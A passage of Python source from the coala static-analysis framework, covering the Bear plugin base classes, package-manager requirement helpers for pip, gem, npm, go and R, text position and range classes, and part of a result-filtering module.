    ...     LANGUAGES = {'C', 'CPP','C#', 'D'}

    To indicate the requirements of the bear, assign ``REQUIREMENTS`` a set
    with instances of ``PackageRequirements``.

    >>> class SomeBear(Bear):
    ...     REQUIREMENTS = {
    ...         PackageRequirement('pip', 'coala_decorators', '0.2.1')}

    If your bear uses requirements from a manager we have a subclass from,
    you can use the subclass, such as ``PipRequirement``, without specifying
    manager:

    >>> class SomeBear(Bear):
    ...     REQUIREMENTS = {PipRequirement('coala_decorators', '0.2.1')}

    To specify multiple requirements using ``pip``, you can use the multiple
    method. This can receive both tuples of strings, in case you want a specific
    version, or a simple string, in case you want the latest version to be
    specified.

    >>> class SomeBear(Bear):
    ...     REQUIREMENTS = PipRequirement.multiple(
    ...         ('colorama', '0.1'), 'coala_decorators')

    To specify additional attributes to your bear, use the following:

    >>> class SomeBear(Bear):
    ...     AUTHORS = {'Jon Snow'}
    ...     AUTHORS_EMAILS = {'jon_snow@gmail.com'}
    ...     MAINTAINERS = {'Catelyn Stark'}
    ...     MAINTAINERS_EMAILS = {'catelyn_stark@gmail.com'}
    ...     LICENSE = 'AGPL-3.0'
    ...     ASCIINEMA_URL = 'https://asciinema.org/a/80761'

    If the maintainers are the same as the authors, they can be omitted:

    >>> class SomeBear(Bear):
    ...     AUTHORS = {'Jon Snow'}
    ...     AUTHORS_EMAILS = {'jon_snow@gmail.com'}
    >>> SomeBear.maintainers
    {'Jon Snow'}
    >>> SomeBear.maintainers_emails
    {'jon_snow@gmail.com'}

    If your bear needs to include local files, then specify it giving strings
    containing relative file paths to the INCLUDE_LOCAL_FILES set:

    >>> class SomeBear(Bear):
    ...     INCLUDE_LOCAL_FILES = {'checkstyle.jar', 'google_checks.xml'}

    To keep track easier of what a bear can do, simply tell it to the CAN_FIX
    and the CAN_DETECT sets. Possible values:

    >>> CAN_DETECT = {'Syntax', 'Formatting', 'Security', 'Complexity', 'Smell',
    ... 'Unused Code', 'Redundancy', 'Variable Misuse', 'Spelling',
    ... 'Memory Leak', 'Documentation', 'Duplication', 'Commented Code',
    ... 'Grammar', 'Missing Import', 'Unreachable Code', 'Undefined Element',
    ... 'Code Simplification'}
    >>> CAN_FIX = {'Syntax', ...}

    Specifying something to CAN_FIX makes it obvious that it can be detected
    too, so it may be omitted:

    >>> class SomeBear(Bear):
    ...     CAN_DETECT = {'Syntax', 'Security'}
    ...     CAN_FIX = {'Redundancy'}
    >>> list(sorted(SomeBear.can_detect))
    ['Redundancy', 'Security', 'Syntax']

    Every bear has a data directory which is unique to that particular bear:

    >>> class SomeBear(Bear): pass
    >>> class SomeOtherBear(Bear): pass
    >>> SomeBear.data_dir == SomeOtherBear.data_dir
    False

    BEAR_DEPS contains bear classes that are to be executed before this bear
    gets executed. The results of these bears will then be passed to the
    run method as a dict via the dependency_results argument. The dict
    will have the name of the Bear as key and the list of its results as
    results:

    >>> class SomeBear(Bear): pass
    >>> class SomeOtherBear(Bear):
    ...     BEAR_DEPS = {SomeBear}
    >>> SomeOtherBear.BEAR_DEPS
    {<class 'coalib.bears.Bear.SomeBear'>}
    """

    LANGUAGES = set()
    REQUIREMENTS = set()
    AUTHORS = set()
    AUTHORS_EMAILS = set()
    MAINTAINERS = set()
    MAINTAINERS_EMAILS = set()
    PLATFORMS = {'any'}
    LICENSE = ''
    INCLUDE_LOCAL_FILES = set()
    CAN_DETECT = set()
    CAN_FIX = set()
    ASCIINEMA_URL = ''
    BEAR_DEPS = set()

    @classproperty
    def name(cls):
        """
        :return: The name of the bear
        """
        return cls.__name__

    @classproperty
    def can_detect(cls):
        """
        :return: A set that contains everything a bear can detect, gathering
                 information from what it can fix too.
        """
        return cls.CAN_DETECT | cls.CAN_FIX

    @classproperty
    def maintainers(cls):
        """
        :return: A set containing ``MAINTAINERS`` if specified, else takes
                 ``AUTHORS`` by default.
        """
        return cls.AUTHORS if cls.MAINTAINERS == set() else cls.MAINTAINERS

    @classproperty
    def maintainers_emails(cls):
        """
        :return: A set containing ``MAINTAINERS_EMAILS`` if specified, else
                 takes ``AUTHORS_EMAILS`` by default.
        """
        return (cls.AUTHORS_EMAILS if cls.MAINTAINERS_EMAILS == set()
                else cls.MAINTAINERS)

    @enforce_signature
    def __init__(self,
                 section: Section,
                 message_queue,
                 timeout=0):
        """
        Constructs a new bear.

        :param section:       The section object where bear settings are
                              contained.
        :param message_queue: The queue object for messages. Can be ``None``.
        :param timeout:       The time the bear is allowed to run. To set no
                              time limit, use 0.
        :raises TypeError:    Raised when ``message_queue`` is no queue.
        :raises RuntimeError: Raised when bear requirements are not fulfilled.
        """
        Printer.__init__(self)
        LogPrinter.__init__(self, self)

        if message_queue is not None and not hasattr(message_queue, "put"):
            raise TypeError("message_queue has to be a Queue or None.")

        self.section = section
        self.message_queue = message_queue
        self.timeout = timeout

        self.setup_dependencies()
        cp = type(self).check_prerequisites()
        if cp is not True:
            error_string = ("The bear " + self.name +
                            " does not fulfill all requirements.")
            if cp is not False:
                error_string += " " + cp

            self.warn(error_string)
            raise RuntimeError(error_string)

    def _print(self, output, **kwargs):
        self.debug(output)

    def log_message(self, log_message, timestamp=None, **kwargs):
        if self.message_queue is not None:
            self.message_queue.put(log_message)

    def run(self, *args, dependency_results=None, **kwargs):
        raise NotImplementedError

    def run_bear_from_section(self, args, kwargs):
        try:
            kwargs.update(
                self.get_metadata().create_params_from_section(self.section))
        except ValueError as err:
            self.warn("The bear {} cannot be executed.".format(
                self.name), str(err))
            return

        return self.run(*args, **kwargs)

    def execute(self, *args, **kwargs):
        name = self.name
        try:
            self.debug("Running bear {}...".format(name))
            # If it's already a list it won't change it
            result = self.run_bear_from_section(args, kwargs)
            return [] if result is None else list(result)
        except:
            self.warn(
                "Bear {} failed to run. Take a look at debug messages (`-L "
                "DEBUG`) for further information.".format(name))
            self.debug(
                "The bear {bear} raised an exception. If you are the writer "
                "of this bear, please make sure to catch all exceptions. If "
                "not and this error annoys you, you might want to get in "
                "contact with the writer of this bear.\n\nTraceback "
                "information is provided below:\n\n{traceback}"
                "\n".format(bear=name, traceback=traceback.format_exc()))

    @staticmethod
    def kind():
        """
        :return: The kind of the bear
        """
        raise NotImplementedError

    @classmethod
    def get_metadata(cls):
        """
        :return: Metadata for the run function. However parameters like
                 ``self`` or parameters implicitly used by coala (e.g.
                 filename for local bears) are already removed.
        """
        return FunctionMetadata.from_function(
            cls.run,
            omit={"self", "dependency_results"})

    @classmethod
    def __json__(cls):
        """
        Override JSON export of ``Bear`` object.
        """
        _dict = get_public_members(cls)
        metadata = cls.get_metadata()
        non_optional_params = metadata.non_optional_params
        optional_params = metadata.optional_params
        _dict["metadata"] = {
            "desc": metadata.desc,
            "non_optional_params": ({param: non_optional_params[param][0]}
                                    for param in non_optional_params),
            "optional_params": ({param: optional_params[param][0]}
                                for param in optional_params)}

        # Delete attributes that cannot be serialized
        unserializable_attributes = ["new_result", "printer"]
        for attribute in unserializable_attributes:
            _dict.pop(attribute, None)
        return _dict

    @classmethod
    def missing_dependencies(cls, lst):
        """
        Checks if the given list contains all dependencies.

        :param lst: A list of all already resolved bear classes (not
                    instances).
        :return:    A set of missing dependencies.
        """
        return set(cls.BEAR_DEPS) - set(lst)

    @classmethod
    def get_non_optional_settings(cls):
        """
        This method has to determine which settings are needed by this bear.
        The user will be prompted for needed settings that are not available
        in the settings file so don't include settings where a default value
        would do.

        :return: A dictionary of needed settings as keys and a tuple of help
                 text and annotation as values
        """
        return cls.get_metadata().non_optional_params

    @staticmethod
    def setup_dependencies():
        """
        This is a user defined function that can download and set up
        dependencies (via download_cached_file or arbitrary other means) in an
        OS independent way.
        """

    @classmethod
    def check_prerequisites(cls):
        """
        Checks whether needed runtime prerequisites of the bear are satisfied.

        This function gets executed at construction and returns True by
        default.

        Section value requirements shall be checked inside the ``run`` method.

        :return: True if prerequisites are satisfied, else False or a string
                 that serves a more detailed description of what's missing.
        """
        return True

    def get_config_dir(self):
        """
        Gives the directory where the configuration file is

        :return: Directory of the config file
        """
        return get_config_directory(self.section)

    def download_cached_file(self, url, filename):
        """
        Downloads the file if needed and caches it for the next time. If a
        download happens, the user will be informed.

        Take a sane simple bear:

        >>> from queue import Queue
        >>> bear = Bear(Section("a section"), Queue())

        We can now carelessly query for a neat file that doesn't exist yet:

        >>> from os import remove
        >>> if exists(join(bear.data_dir, "a_file")):
        ...     remove(join(bear.data_dir, "a_file"))
        >>> file = bear.download_cached_file("http://gitmate.com/", "a_file")

        If we download it again, it'll be much faster as no download occurs:

        >>> newfile = bear.download_cached_file("http://gitmate.com/", "a_file")
        >>> newfile == file
        True

        :param url:      The URL to download the file from.
        :param filename: The filename it should get, e.g. "test.txt".
        :return:         A full path to the file ready for you to use!
        """
        filename = join(self.data_dir, filename)
        if exists(filename):
            return filename

        self.info("Downloading {filename!r} for bear {bearname} from {url}."
                  .format(filename=filename, bearname=self.name, url=url))

        with urlopen(url) as response, open(filename, 'wb') as out_file:
            copyfileobj(response, out_file)
        return filename

    @classproperty
    def data_dir(cls):
        """
        Returns a directory that may be used by the bear to store stuff. Every
        bear has an own directory dependent on their name.
        """
        data_dir = abspath(join(user_data_dir('coala-bears'), cls.name))

        makedirs(data_dir, exist_ok=True)
        return data_dir

    @property
    def new_result(self):
        """
        Returns a partial for creating a result with this bear already bound.
        """
        return partial(Result.from_values, self)






from coalib.misc.Enum import enum

BEAR_KIND = enum("LOCAL", "GLOBAL")






from coalib.bears.Bear import Bear
from coalib.bears.BEAR_KIND import BEAR_KIND


class GlobalBear(Bear):
    """
    A GlobalBear is able to analyze semantic facts across several file.

    The results of a GlobalBear will be presented grouped by the origin Bear.
    Therefore Results spanning above multiple files are allowed and will be
    handled right.

    If you only look at one file at once anyway a LocalBear is better for your
    needs. (And better for performance and usability for both user and
    developer.)
    """

    def __init__(self,
                 file_dict,  # filename : file contents
                 section,
                 message_queue,
                 timeout=0):
        Bear.__init__(self, section, message_queue, timeout)
        self.file_dict = file_dict

    @staticmethod
    def kind():
        return BEAR_KIND.GLOBAL

    def run(self,
            *args,
            dependency_results=None,
            **kwargs):
        """
        Handles all files in file_dict.

        :return: A list of Result type.
        """
        raise NotImplementedError(
            "This function has to be implemented for a runnable bear.")






from coalib.bears.Bear import Bear
from coalib.bears.BEAR_KIND import BEAR_KIND
from coalib.settings.FunctionMetadata import FunctionMetadata


class LocalBear(Bear):
    """
    A LocalBear is a Bear that analyzes only one file at once. It therefore can
    not analyze semantical facts over multiple files.

    This has the advantage that it can be highly parallelized. In addition,
    the results from multiple bears for one file can be shown together for that
    file, which is better to grasp for the user. coala takes care of all that.

    Examples for LocalBear's could be:

    -   A SpaceConsistencyBear that checks every line for trailing whitespaces,
        tabs, etc.
    -   A VariableNameBear that checks variable names and constant names for
        certain conditions
    """

    @staticmethod
    def kind():
        return BEAR_KIND.LOCAL

    def run(self,
            filename,
            file,
            *args,
            dependency_results=None,
            **kwargs):
        """
        Handles the given file.

        :param filename: The filename of the file
        :param file:     The file contents as string array
        :return:         A list of Result
        """
        raise NotImplementedError("This function has to be implemented for a "
                                  "runnable bear.")

    @classmethod
    def get_metadata(cls):
        return FunctionMetadata.from_function(
            cls.run,
            omit={"self", "filename", "file", "dependency_results"})






from coalib.bears.requirements.PackageRequirement import PackageRequirement


class CondaRequirement(PackageRequirement):
    """
    This class is a subclass of ``PackageRequirement``, and helps specifying
    requirements from ``conda``, without using the manager name.
    """

    def __init__(self, package, version=""):
        """
        Constructs a new ``CondaRequirement``, using the ``PackageRequirement``
        constructor.

        >>> pr = CondaRequirement('clang')
        >>> pr.manager
        'conda'
        >>> pr.package
        'clang'

        :param package: A string with the name of the package to be installed.
        :param version: A version string. Leave empty to specify latest version.
        """
        PackageRequirement.__init__(self, 'conda', package, version)






from coalib.bears.requirements.PackageRequirement import PackageRequirement
from coalib.misc.Shell import call_without_output
import sys


class PipRequirement(PackageRequirement):
    """
    This class is a subclass of ``PackageRequirement``, and helps specifying
    requirements from ``pip``, without using the manager name.
    """

    def __init__(self, package, version=""):
        """
        Constructs a new ``PipRequirement``, using the ``PackageRequirement``
        constructor.

        >>> pr = PipRequirement('setuptools', '19.2')
        >>> pr.manager
        'pip'
        >>> pr.package
        'setuptools'
        >>> pr.version
        '19.2'

        :param package: A string with the name of the package to be installed.
        :param version: A version string. Leave empty to specify latest version.
        """
        PackageRequirement.__init__(self, 'pip', package, version)

    def install_command(self):
        """
        Creates the installation command for the instance of the class.

        :param return: A list with the installation command parameters.
        """
        result = [sys.executable, '-m', 'pip', 'install',
                  self.package + '==' + self.version if self.version
                  else self.package]
        return result

    def is_installed(self):
        """
        Checks if the dependency is installed.

        :param return: True if dependency is installed, false otherwise.
        """
        return not call_without_output(('pip', 'show', self.package))






from coalib.bears.requirements.PackageRequirement import PackageRequirement
from coalib.misc.Shell import call_without_output
import platform


class GemRequirement(PackageRequirement):
    """
    This class is a subclass of ``PackageRequirement``, and helps specifying
    requirements from ``gem``, without using the manager name.
    """

    def __init__(self, package, version="", require=""):
        """
        Constructs a new ``GemRequirement``, using the ``PackageRequirement``
        constructor.

        >>> pr = GemRequirement('setuptools', '19.2', 'flag')
        >>> pr.manager
        'gem'
        >>> pr.package
        'setuptools'
        >>> pr.version
        '19.2'
        >>> pr.require
        'flag'

        :param package: A string with the name of the package to be installed.
        :param version: A version string. Leave empty to specify latest version.
        :param require: A string that specifies any additional flags, that
                        would be used with ``require``.
        """
        PackageRequirement.__init__(self, 'gem', package, version)
        self.require = require

    def install_command(self):
        """
        Creates the installation command for the instance of the class.

        >>> GemRequirement('rubocop').install_command()
        ['gem', 'install', 'rubocop']

        >>> GemRequirement('scss_lint', '', 'false').install_command()
        ['gem', 'install', 'scss_lint, require: false']

        :param return: A string with the installation command.
        """
        result = ['gem', 'install', self.package + ', require: ' + self.require
                  if self.require else self.package]
        return result

    def is_installed(self):
        """
        Checks if the dependency is installed.

        :param return: True if dependency is installed, false otherwise.
        """
        cmd = ['gem', 'list', '-i', self.package]
        if platform.system() == 'Windows':  # pragma: no cover
            cmd = ['cmd', '/c'] + cmd
        return not call_without_output(cmd)






from coalib.bears.requirements.PackageRequirement import PackageRequirement
from coalib.misc.Shell import call_without_output
import platform


class NpmRequirement(PackageRequirement):
    """
    This class is a subclass of ``PackageRequirement``, and helps specifying
    requirements from ``npm``, without using the manager name.
    """

    def __init__(self, package, version=""):
        """
        Constructs a new ``NpmRequirement``, using the ``PackageRequirement``
        constructor.

        >>> pr = NpmRequirement('ramllint', '6.2')
        >>> pr.manager
        'npm'
        >>> pr.package
        'ramllint'
        >>> pr.version
        '6.2'

        :param package: A string with the name of the package to be installed.
        :param version: A version string. Leave empty to specify latest version.
        """
        PackageRequirement.__init__(self, 'npm', package, version)

    def install_command(self):
        """
        Creates the installation command for the instance of the class.

        >>> NpmRequirement('alex', '2').install_command()
        ['npm', 'install', 'alex@2']

        >>> NpmRequirement('alex').install_command()
        ['npm', 'install', 'alex']

        :param return: A string with the installation command.
        """
        result = ['npm', 'install', self.package + "@" + self.version
                  if self.version else self.package]
        return result

    def is_installed(self):
        """
        Checks if the dependency is installed.

        :param return: True if dependency is installed, false otherwise.
        """
        cmd = ['npm', 'show', self.package]
        if platform.system() == 'Windows':  # pragma: no cover
            cmd = ['cmd', '/c'] + cmd
        return not call_without_output(cmd)






from coalib.bears.requirements.PackageRequirement import PackageRequirement


class JuliaRequirement(PackageRequirement):
    """
    This class is a subclass of ``PackageRequirement``, and helps specifying
    requirements from ``julia``, without using the manager name.
    """

    def __init__(self, package, version=""):
        """
        Constructs a new ``JuliaRequirement``, using the ``PackageRequirement``
        constructor.

        >>> pr = JuliaRequirement('Lint', '19.2')
        >>> pr.manager
        'julia'
        >>> pr.package
        'Lint'
        >>> pr.version
        '19.2'

        :param package: A string with the name of the package to be installed.
        :param version: A version string. Leave empty to specify latest version.
        """
        PackageRequirement.__init__(self, 'julia', package, version)






from coala_utils.decorators import generate_eq, generate_repr


@generate_eq("manager", "package", "version")
@generate_repr()
class PackageRequirement:
    """
    This class helps keeping track of bear requirements. It should simply
    be appended to the REQUIREMENTS tuple inside the Bear class.

    Two ``PackageRequirements`` should always be equal if they have the same
    manager, package and version:

    >>> pr1 = PackageRequirement('pip', 'coala_decorators', '0.1.0')
    >>> pr2 = PackageRequirement('pip', 'coala_decorators', '0.1.0')
    >>> pr1 == pr2
    True
    """

    def __init__(self, manager: str, package: str, version=""):
        """
        Constructs a new ``PackageRequirement``.

        >>> pr = PackageRequirement('pip', 'colorama', '0.1.0')
        >>> pr.manager
        'pip'
        >>> pr.package
        'colorama'
        >>> pr.version
        '0.1.0'

        :param manager: A string with the name of the manager (pip, npm, etc).
        :param package: A string with the name of the package to be installed.
        :param version: A version string. Leave empty to specify latest version.
        """
        self.manager = manager
        self.package = package
        self.version = version

    def check(self):
        """
        Check if the requirement is satisfied.

        >>> PackageRequirement('pip', 'coala_decorators', '0.2.1').check()
        Traceback (most recent call last):
        ...
        NotImplementedError

        :return: Returns True if satisfied, False if not.
        """
        raise NotImplementedError

    @classmethod
    def multiple(cls, *args):
        """
        Creates a set of multiple instances of a class.

        Should not be instances of ``PackageRequirement``, as this is an
        abstract class:

        >>> PackageRequirement.multiple(('pip', 'coala_decorators', '0.1.0'),)
        Traceback (most recent call last):
        ...
        NotImplementedError

        It can only be used for requirements of the same manager. For example,
        consider a manager ``XYZRequirement`` that inherits from
        PackageRequirement. This subclass will have the manager set to XYZ:

        >>> class XYZRequirement(PackageRequirement):
        ...     manager = 'xyz'
        ...     def __init__(self, package, version=""):
        ...         PackageRequirement.__init__(self, package, version)

        This is the case where you would provide strings only, to specify the
        latest version automatically:

        >>> REQUIREMENTS = XYZRequirement.multiple(
        ...     "package1", "package2")

        And if you choose to mix them, specifying version for some and for some
        not:

        >>> REQUIREMENTS = XYZRequirement.multiple(
        ...     'package1', ('package2', '2.0'))

        Lists are also valid arguments:

        >>> REQUIREMENTS = XYZRequirement.multiple(
        ...     ['package1', '1.0'],)

        In case you provide too many arguments into the tuple, an error will be
        raised:

        >>> REQUIREMENTS = XYZRequirement.multiple(
        ...     'package1', ('package2', '2.0', 'package3'))
        Traceback (most recent call last):
        ...
        TypeError: Too many elements provided.

        :param args:       In the subclasses, the ``manager`` is already
                           specified, so they hould be iterables with two
                           elements: ``('packageName', 'version')`` or strings:
                           ``'packageName'`` if latest version is wanted.
        :return:           A tuple containing instances of the subclass.
        :raises TypeError: In case the iterables contain more than two
                           elements.
        """
        if cls == PackageRequirement:
            raise NotImplementedError
        else:
            reqs = []
            for requirement in args:
                if isinstance(requirement, str):
                    reqs.append(cls(requirement))
                elif len(requirement) == 2:
                    name, version = requirement
                    reqs.append(cls(name, version))
                else:
                    raise TypeError('Too many elements provided.')
            return set(reqs)






from coalib.bears.requirements.PackageRequirement import PackageRequirement
from coalib.misc.Shell import call_without_output


class GoRequirement(PackageRequirement):
    """
    This class is a subclass of ``PackageRequirement``, and helps specifying
    requirements from ``go``, without using the manager name.
    """

    def __init__(self, package, version="", flag=""):
        """
        Constructs a new ``GoRequirement``, using the ``PackageRequirement``
        constructor.

        >>> pr = GoRequirement('github.com/golang/lint/golint', '19.2', '-u')
        >>> pr.manager
        'go'
        >>> pr.package
        'github.com/golang/lint/golint'
        >>> pr.version
        '19.2'
        >>> pr.flag
        '-u'

        :param package: A string with the name of the package to be installed.
        :param version: A version string. Leave empty to specify latest version.
        :param flag:    A string that specifies any additional flags, that
                        are passed to the manager.
        """
        PackageRequirement.__init__(self, 'go', package, version)
        self.flag = flag

    def install_command(self):
        """
        Creates the installation command for the instance of the class.

        >>> GoRequirement(
        ...     'github.com/golang/lint/golint', '' , '-u' ).install_command()
        ['go', 'get', '-u', 'github.com/golang/lint/golint']

        :param return: A string with the installation command.
        """
        return ['go', 'get', self.flag, self.package]

    def is_installed(self):
        """
        Checks if the dependency is installed.

        :param return: True if dependency is installed, false otherwise.
        """
        return not call_without_output(('go', 'doc', self.package))












from coalib.bears.requirements.PackageRequirement import PackageRequirement
from coalib.misc.Shell import run_shell_command


class RscriptRequirement(PackageRequirement):
    """
    This class is a subclass of ``PackageRequirement``, and helps specifying
    requirements from ``R``, without using the manager name.
    """

    def __init__(self, package, version="", flag="", repo=""):
        """
        Constructs a new ``RscriptRequirement``, using the
        ``PackageRequirement`` constructor.

        >>> pr = RscriptRequirement(
        ...         'formatR', version='1.4', flag='-e',
        ...         repo="http://cran.rstudio.com")
        >>> pr.manager
        'R'
        >>> pr.package
        'formatR'
        >>> pr.version
        '1.4'
        >>> pr.flag
        '-e'
        >>> pr.repo
        'http://cran.rstudio.com'

        :param package: A string with the name of the package to be installed.
        :param version: A version string. Leave empty to specify latest version.
        :param flag:    A string that specifies any additional flags, that
                        are passed to the manager.
        :param repo:    The repository from which the package to be installed is
                        from.
        """
        PackageRequirement.__init__(self, 'R', package, version)
        self.flag = flag
        self.repo = repo

    def install_command(self):
        """
        Creates the installation command for the instance of the class.

        >>> RscriptRequirement(
        ...     'formatR', '' , '-e',
        ...     'http://cran.rstudio.com').install_command()
        'R -e "install.packages(\"formatR\", repo=\"http://cran.rstudio.com\", dependencies=TRUE)"'

        :param return: A string with the installation command.
        """
        return ('R {} "install.packages(\"{}\", repo=\"{}\", '
                'dependencies=TRUE)"'.format(self.flag,
                                             self.package, self.repo))

    def is_installed(self):
        """
        Checks if the dependency is installed.

        :param return: True if dependency is installed, false otherwise.
        """
        return True if run_shell_command(
                ('R -e \'library(\"{}\", quietly=TRUE)\''
                 .format(self.package)))[1] is '' else False






import platform

from coalib.bears.requirements.PackageRequirement import PackageRequirement


class DistributionRequirement(PackageRequirement):
    """
    This class is a subclass of ``PackageRequirement``, and helps specifying
    distribution specific requirements, without using the manager name.
    """

    def __init__(self, **manager_commands):
        """
        Constructs a new ``DistributionRequirement``, using the
        ``PackageRequirement`` constructor.

        >>> dr = DistributionRequirement(apt_get='libclang', dnf='libclangg')
        >>> dr.package['apt_get']
        'libclang'
        >>> dr.package['dnf']
        'libclangg'

        :param manager_commands: comma separated (manager='package') pairs.
        """
        self.package = manager_commands

    def install_command(self):
        """
        Creates the installation command for the instance of the class.

        :param return: A string with the installation command. An empty string
                       if the command could not be supplied.
        """
        manager_dict = {'Fedora': 'dnf',
                        'Ubuntu': 'apt_get',
                        'Debian': 'apt_get',
                        'SuSE': 'zypper',
                        'redhat': 'yum',
                        'arch': 'pacman'}

        if (platform.linux_distribution()[0] in manager_dict.keys() and
                manager_dict[platform.linux_distribution()[0]]
                in self.package.keys()):
            manager = manager_dict[platform.linux_distribution()[0]]
            return [manager.replace("_", "-"),
                    'install', self.package[manager]]
        else:
            package_possibilites = (
                {package for package in self.package.values()})
            print('The package could not be automatically installed on your '
                  'operating system. Please try installing it manually. It'
                  ' should look like this: ' + repr(package_possibilites))
            raise OSError






from os.path import relpath, abspath

from coala_utils.decorators import (
    enforce_signature, generate_ordering, generate_repr, get_public_members)
from coalib.results.TextPosition import TextPosition


@generate_repr("file", "line", "column")
@generate_ordering("file", "line", "column")
class SourcePosition(TextPosition):

    @enforce_signature
    def __init__(self, file: str, line=None, column=None):
        """
        Creates a new result position object that represents the position of a
        result in the source code.

        :param file:        The filename.
        :param line:        The line in file or None, the first line is 1.
        :param column:      The column indicating the character. The first one
                            in a line is 1.
        :raises TypeError:  Raised when
                            - file is not a string or None.
                            - line or columns are no integers.
        """
        TextPosition.__init__(self, line, column)

        self._file = abspath(file)

    @property
    def file(self):
        return self._file

    def __json__(self, use_relpath=False):
        _dict = get_public_members(self)
        if use_relpath:
            _dict['file'] = relpath(_dict['file'])
        return _dict






from coala_utils.decorators import (
    enforce_signature, generate_ordering, generate_repr)


@generate_repr("line", "column")
@generate_ordering("line", "column")
class TextPosition:

    @enforce_signature
    def __init__(self, line: (int, None)=None, column: (int, None)=None):
        """
        Creates a new TextPosition object that represents the position inside
        a string with line/column numbers.

        :param line:        The line in file or None, the first line is 1.
        :param column:      The column indicating the character. The first one
                            in a line is 1.
        :raises TypeError:  Raised when line or columns are no integers.
        :raises ValueError: Raised when a column is set but line is None.
        """
        if line is None and column is not None:
            raise ValueError("A column can only be set if a line is set.")

        self._line = line
        self._column = column

    @property
    def line(self):
        return self._line

    @property
    def column(self):
        return self._column






import copy

from coala_utils.decorators import (
    enforce_signature, generate_ordering, generate_repr)
from coalib.results.TextPosition import TextPosition


@generate_repr("start", "end")
@generate_ordering("start", "end")
class TextRange:

    @enforce_signature
    def __init__(self, start: TextPosition, end: (TextPosition, None)=None):
        """
        Creates a new TextRange.

        :param start:       A TextPosition indicating the start of the range.
                            Can't be ``None``.
        :param end:         A TextPosition indicating the end of the range. If
                            ``None`` is given, the start object will be used
                            here.
        :raises TypeError:  Raised when
                            - start is not of type TextPosition.
                            - end is neither of type TextPosition, nor is it
                              None.
        :raises ValueError: Raised when end position is smaller than start
                            position, because negative ranges are not allowed.
        """

        self._start = start
        self._end = copy.deepcopy(start) if end is None else end

        if self._end < start:
            raise ValueError("End position can't be less than start position.")

    @classmethod
    def from_values(cls,
                    start_line=None,
                    start_column=None,
                    end_line=None,
                    end_column=None):
        """
        Creates a new TextRange.

        :param start_line:   The line number of the start position. The first
                             line is 1.
        :param start_column: The column number of the start position. The first
                             column is 1.
        :param end_line:     The line number of the end position. If this
                             parameter is ``None``, then the end position is set
                             the same like start position and end_column gets
                             ignored.
        :param end_column:   The column number of the end position.
        :return:             A TextRange.
        """
        start = TextPosition(start_line, start_column)
        if end_line is None:
            end = None
        else:
            end = TextPosition(end_line, end_column)

        return cls(start, end)

    @classmethod
    def join(cls, a, b):
        """
        Creates a new TextRange that covers the area of two overlapping ones

        :param a: TextRange (needs to overlap b)
        :param b: TextRange (needs to overlap a)
        :return:  A new TextRange covering the union of the Area of a and b
        """
        if not isinstance(a, cls) or not isinstance(b, cls):
            raise TypeError(
                "only instances of {} can be joined".format(cls.__name__))

        if not a.overlaps(b):
            raise ValueError(
                    "{}s must overlap to be joined".format(cls.__name__))

        return cls(min(a.start, b.start), max(a.end, b.end))

    @property
    def start(self):
        return self._start

    @property
    def end(self):
        return self._end

    def overlaps(self, other):
        return self.start <= other.end and self.end >= other.start

    def expand(self, text_lines):
        """
        Passes a new TextRange that covers the same area of a file as this one
        would. All values of None get replaced with absolute values.

        values of None will be interpreted as follows:
        self.start.line is None:   -> 1
        self.start.column is None: -> 1
        self.end.line is None:     -> last line of file
        self.end.column is None:   -> last column of self.end.line

        :param text_lines: File contents of the applicable file
        :return:           TextRange with absolute values
        """
        start_line = 1 if self.start.line is None else self.start.line
        start_column = 1 if self.start.column is None else self.start.column
        end_line = len(text_lines) if self.end.line is None else self.end.line
        end_column = (len(text_lines[end_line - 1]) if self.end.column is None
                      else self.end.column)

        return TextRange.from_values(start_line,
                                     start_column,
                                     end_line,
                                     end_column)






from coalib.misc.Enum import enum

RESULT_SEVERITY = enum("INFO", "NORMAL", "MAJOR")
RESULT_SEVERITY.__str__ = lambda x: RESULT_SEVERITY.reverse.get(x, "NORMAL")
RESULT_SEVERITY_COLORS = {RESULT_SEVERITY.INFO: "green",
                          RESULT_SEVERITY.NORMAL: "yellow",
                          RESULT_SEVERITY.MAJOR: "red"}






import copy
from difflib import SequenceMatcher

from coalib.results.Diff import ConflictError, Diff
from coalib.results.SourceRange import SourceRange


def filter_results(original_file_dict,
                   modified_file_dict,
                   original_results,
                   modified_results):
    """
    Filters results for such ones that are unique across file changes

    :param original_file_dict: Dict of lists of file contents before  changes
    :param modified_file_dict: Dict of lists of file contents after changes
    :param original_results:   List of results of the old files
    :param modified_results:   List of results of the new files
    :return:                   List of results from new files that are unique
                               from all those that existed in the old changes
    """

    renamed_files = ensure_files_present(original_file_dict,
                                         modified_file_dict)
    # diffs_dict[file] is a diff between the original and modified file
    diffs_dict = {}
    for file in original_file_dict:
        diffs_dict[file] = Diff.from_string_arrays(
            original_file_dict[file],
            modified_file_dict[renamed_files.get(file, file)])

    orig_result_diff_dict_dict = remove_result_ranges_diffs(original_results,
                                                            original_file_dict)

    mod_result_diff_dict_dict = remove_result_ranges_diffs(modified_results,
                                                           modified_file_dict)

    unique_results = []

    for m_r in reversed(modified_results):
        unique = True

        for o_r in original_results:

            if basics_match(o_r, m_r):
                if source_ranges_match(original_file_dict,
                                       diffs_dict,
                                       orig_result_diff_dict_dict[o_r],
                                       mod_result_diff_dict_dict[m_r],
                                       renamed_files):

                    # at least one original result matches completely
                    unique = False
                    break
        if unique:
            unique_results.append(m_r)

    return unique_results


def basics_match(original_result,
                 modified_result):
    """
    Checks whether the following properties of two results match:
    * origin
    * message
    * severity
    * debug_msg

    :param original_result: A result of the old files
    :param modified_result: A result of the new files
    :return:                Boolean value whether or not the properties match
    """

    return all(getattr(original_result, member) ==
               getattr(modified_result, member)
               for member in ['origin', 'message', 'severity', 'debug_msg'])


def source_ranges_match(original_file_dict,
                        diff_dict,
                        original_result_diff_dict,
                        modified_result_diff_dict,
                        renamed_files):
    """
    Checks whether the SourceRanges of two results match

    :param original_file_dict: Dict of lists of file contents before changes
    :param diff_dict:          Dict of diffs describing the changes per file
    :param original_result_diff_dict: diff for each file for this result
    :param modified_result_diff_dict: guess
    :param renamed_files:   A dictionary containing file renamings across runs
    :return:                     Boolean value whether the SourceRanges match
    """
    for file_name in original_file_dict:

        try:  # fails if the affected range of the result get's modified
            original_total_diff = (diff_dict[file_name] +
                                   original_result_diff_dict[file_name])
        except ConflictError:
            return False

        # original file with file_diff and original_diff applied
        original_total_file = original_total_diff.modified
        # modified file with modified_diff applied
        modified_total_file = modified_result_diff_dict[
            renamed_files.get(file_name, file_name)].modified
        if original_total_file != modified_total_file:
            return False
    return True


def remove_range(file_contents, source_range):
    """
    removes the chars covered by the sourceRange from the file

    :param file_contents: list of lines in the file
